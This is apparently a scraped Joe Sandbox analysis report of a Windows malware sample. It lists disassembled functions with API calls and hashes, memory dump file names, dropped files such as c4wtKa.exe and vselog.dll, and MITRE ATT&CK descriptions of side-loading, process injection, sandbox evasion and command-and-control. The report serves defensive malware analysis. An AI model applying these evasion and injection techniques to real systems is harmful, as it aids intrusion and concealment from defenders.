Opcode ID: 9cbeb4ca6971df0b88414592779824b680e15a7127d5018182a21cf14d62aa74
Instruction ID: 667c84f90310ed7a94f2064a1c113f9d7396c074bffcb949e620db36c05b3dfa
Opcode Fuzzy Hash: 9cbeb4ca6971df0b88414592779824b680e15a7127d5018182a21cf14d62aa74
Instruction Fuzzy Hash: 7841D1B2316A0096FA1BCB57B8147DA62D5B79DBD0F198525FF6A4F7A4EB3CC5408300

Function 000000014000F0A4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000000014000F0CB
_set_statfp.LIBCMT ref: 000000014000F0E6
_set_statfp.LIBCMT ref: 000000014000F102
_set_statfp.LIBCMT ref: 000000014000F13E

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: b7664432e41ba77913d69028e7edc508c49d41399d74719a20a153286b896ad0
Instruction ID: 3215093202bd68c56bac71dd110fdba30e2872be93819337cad5d5ac75e4a3d6
Opcode Fuzzy Hash: b7664432e41ba77913d69028e7edc508c49d41399d74719a20a153286b896ad0
Instruction Fuzzy Hash: 7011A9F671060181F6AA917BF8463F931416B5E3F0F18C624BB6687DFBCE7484457541

Function 000000014000E35C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014000E442
WriteFile.KERNEL32 ref: 000000014000E475
GetLastError.KERNEL32 ref: 000000014000E497

Strings

U, xrefs: 000000014000E420

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 33997245d6dba02e41cb1da312fb3ff6abb9d07e8e32837fd380ab658126b611
Instruction ID: a648a5e7f909605d88ffe647cff2544ba9e667ff7801489ca87a02acaeb14277
Opcode Fuzzy Hash: 33997245d6dba02e41cb1da312fb3ff6abb9d07e8e32837fd380ab658126b611
Instruction Fuzzy Hash: E6416D72725A8482EB21DF66F8483EAA7A1F788BD4F444021EF4D97BA4DB7CC541C740

Function 000000014000774E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00000001400065C4: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00000001400065C8

__DestructExceptionObject.LIBVCRUNTIME ref: 0000000140007776
RaiseException.KERNEL32 ref: 000000014000779F
__DestructExceptionObject.LIBVCRUNTIME ref: 0000000140007800

Strings

csm, xrefs: 00000001400077D3

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: 68f393005c6e6b7f241a725cd1de3d0fd0629206885ed32bef75221d50612380
Instruction ID: 1d90ec48780e65de3b793b436a9636d8dcea98b918e631f4702ee5be84cd9def
Opcode Fuzzy Hash: 68f393005c6e6b7f241a725cd1de3d0fd0629206885ed32bef75221d50612380
Instruction Fuzzy Hash: AE2117B660464086E672DF26F040B9EB7A1F38DBE5F054211EF99077A5CF38D88ACB01

Function 0000000140009EF8 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00000001400098B1,?,?,00000000,0000000140004D36), ref: 0000000140009F02
SetLastError.KERNEL32(?,?,?,00000001400098B1,?,?,00000000,0000000140004D36), ref: 0000000140009F6A
SetLastError.KERNEL32(?,?,?,00000001400098B1,?,?,00000000,0000000140004D36), ref: 0000000140009F80
abort.LIBCMT ref: 0000000140009F86

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: aa022fa982e2ed3537eb5b9ce3cda2430ee51cfa5360f2d884ee3480038cf67a
Instruction ID: 72a12385daf9461edd3c67d7a4e2454958287449906c28271fc9f67f0a8d6d8d
Opcode Fuzzy Hash: aa022fa982e2ed3537eb5b9ce3cda2430ee51cfa5360f2d884ee3480038cf67a
Instruction Fuzzy Hash: 8B015AB070160542FA6BE7B7B5557FD52915B8C7C0F180439BB2647BF6ED3DC8444200

Function 000000014000BBA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000000014000BC12
GetFileType.KERNEL32 ref: 000000014000BC28

Strings

@, xrefs: 000000014000BC53

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 0616e5dfaf439c5fb8937a2e1fc8b67c147afd92221085602b892ce8d5d735ec
Instruction ID: 1694cbfd54b4703f42066c83f4144df38d78648c427efc7cd6c7404005ae1132
Opcode Fuzzy Hash: 0616e5dfaf439c5fb8937a2e1fc8b67c147afd92221085602b892ce8d5d735ec
Instruction Fuzzy Hash: D92194B2614B4081FB66CB2AA4D07A92691E78DBF4F281316E7AB077F4CF35C881D340

Function 0000000140007FAC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000000140007FD5
TlsSetValue.KERNEL32(?,?,?,00000001400066D5,?,?,?,?,000000014000633C,?,?,?,?,0000000140004A2F), ref: 0000000140007FEC

Strings

FlsSetValue, xrefs: 0000000140007FB9, 0000000140007FC2

Memory Dump Source

Source File: 00000000.00000002.3295320404.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3295306901.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295335825.0000000140011000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295350118.000000014001B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3295366093.000000014001C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3296257084.0000000141D76000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_1387457-38765948.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 2e5a8dc5f13499df812e2a5c805dbdc94ad4865d9a679619b0a0a90599d6e4b1
Instruction ID: 2af684bf997f0b770ee31f971a4a43a91b2c5b5a2078f5e7d0e9523b5698ab86
Opcode Fuzzy Hash: 2e5a8dc5f13499df812e2a5c805dbdc94ad4865d9a679619b0a0a90599d6e4b1
Instruction Fuzzy Hash: C1E039B160464981EB0A8B52B800BE82262AB8C7D4F485026FB190B3B6CE3DC9988210

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1387457-38765948.15.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\b[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\a[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\i[1].dat

C:\Users\user\Documents\c4wtKa.exe

C:\Users\user\Documents\vselog.dll

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
1387457-38765948.15.exe

Function 005AD895 Relevance: 45.5, APIs: 1, Strings: 25, Instructions: 49
COMMON

Function 005AE155 Relevance: 98.1, APIs: 2, Strings: 54, Instructions: 133
threadCOMMON

Function 001F9E2D Relevance: 98.1, APIs: 2, Strings: 54, Instructions: 132
threadCOMMON

Function 005B3EA5 Relevance: 85.8, APIs: 2, Strings: 47, Instructions: 100
memoryCOMMON

Function 005AC685 Relevance: 56.1, APIs: 1, Strings: 31, Instructions: 83
COMMON

Function 005AD525 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 73
COMMON

Function 001F9AFD Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Function 005ABC65 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Function 0000000140003A96 Relevance: 1.4, APIs: 1, Instructions: 113
memoryCOMMON

Function 005B2445 Relevance: 191.2, Strings: 152, Instructions: 1150
COMMON